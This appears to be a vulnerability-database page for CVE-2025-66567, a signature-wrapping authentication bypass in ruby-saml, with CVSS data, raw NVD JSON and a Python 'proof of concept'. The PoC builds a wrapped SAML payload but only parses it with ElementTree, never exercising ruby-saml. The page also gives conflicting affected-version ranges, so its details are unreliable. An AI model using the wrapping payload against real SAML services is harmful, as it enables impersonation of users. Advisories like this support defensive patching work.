Security Vulnerability Report
中文
CVE-2025-66567 CVSS 9.1 CRITICAL

CVE-2025-66567

Published: 2025-12-09 16:18:21
Last Modified: 2025-12-10 21:27:34

Description

The ruby-saml library is for implementing the client side of a SAML authorization. ruby-saml versions up to and including 1.12.4 contain an authentication bypass vulnerability due to an incomplete fix for CVE-2025-25292. ReXML and Nokogiri parse XML differently, generating entirely different document structures from the same input. This allows an attacker to execute a Signature Wrapping attack. This issue is fixed in version 1.18.0.

CVSS Details

CVSS Score
9.1
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:onelogin:ruby-saml:*:*:*:*:*:*:*:* - VULNERABLE
ruby-saml <= 1.12.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-66567 Proof of Concept Signature Wrapping Attack against ruby-saml Note: This PoC demonstrates the XML structure difference between ReXML and Nokogiri """ import xml.etree.ElementTree as ET # SAML Response with Signature Wrapping attack structure # This demonstrates how the same XML can be parsed differently def generate_attack_xml(): # Normal structure (verified by Nokogiri) normal_assertion = ''' <Assertion ID="_valid_assertion" xmlns="urn:oasis:names:tc:SAML:2.0:assertion"> <Subject> <NameID>[email protected]</NameID> </Subject> <Conditions NotBefore="2025-01-01T00:00:00Z" NotOnOrAfter="2030-01-01T00:00:00Z"/> </Assertion> ''' # Wrapped structure (processed by ReXML after validation) wrapped_assertion = ''' <saml:Assertion ID="_malicious_assertion" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"> <saml:Subject> <saml:NameID>[email protected]</saml:NameID> </saml:Subject> <saml:Conditions NotBefore="2025-01-01T00:00:00Z" NotOnOrAfter="2030-01-01T00:00:00Z"/> </saml:Assertion> ''' # Attack payload - same document, different parsing results attack_xml = f''' <Response xmlns="urn:oasis:names:tc:SAML:2.0:protocol"> <Signature> <!-- Valid signature over normal_assertion --> </Signature> {normal_assertion} {wrapped_assertion} </Response> ''' return attack_xml def demonstrate_parsing_difference(): """ Demonstrates how different XML parsers can produce different results """ xml_content = generate_attack_xml() # Parse with different methods tree = ET.fromstring(xml_content) # Find all Assertion elements ns = {'saml': 'urn:oasis:names:tc:SAML:2.0:assertion'} assertions = tree.findall('.//saml:Assertion', ns) print(f"Found {len(assertions)} Assertion elements") for i, assertion in enumerate(assertions): name_id = assertion.find('.//saml:NameID', ns) if name_id is not None: print(f"Assertion {i+1} NameID: {name_id.text}") if __name__ == "__main__": print("CVE-2025-66567 - Signature Wrapping Attack Demo") print("=" * 50) demonstrate_parsing_difference()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-66567", "sourceIdentifier": "[email protected]", "published": "2025-12-09T16:18:21.260", "lastModified": "2025-12-10T21:27:33.627", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The ruby-saml library is for implementing the client side of a SAML authorization. ruby-saml versions up to and including 1.12.4 contain an authentication bypass vulnerability due to an incomplete fix for CVE-2025-25292. ReXML and Nokogiri parse XML differently, generating entirely different document structures from the same input. This allows an attacker to execute a Signature Wrapping attack. This issue is fixed in version 1.18.0."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-347"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:onelogin:ruby-saml:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.18.0", "matchCriteriaId": "16781771-8893-4189-B51B-66319E3B378C"}]}]}], "references": [{"url": "https://github.com/SAML-Toolkits/ruby-saml/commit/e9c1cdbd0f9afa467b585de279db0cbd0fb8ae97", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/SAML-Toolkits/ruby-saml/security/advisories/GHSA-9v8j-x534-2fx3", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://github.com/advisories/GHSA-754f-8gm6-c4r2", "source": "[email protected]", "tags": ["Not Applicable"]}]}}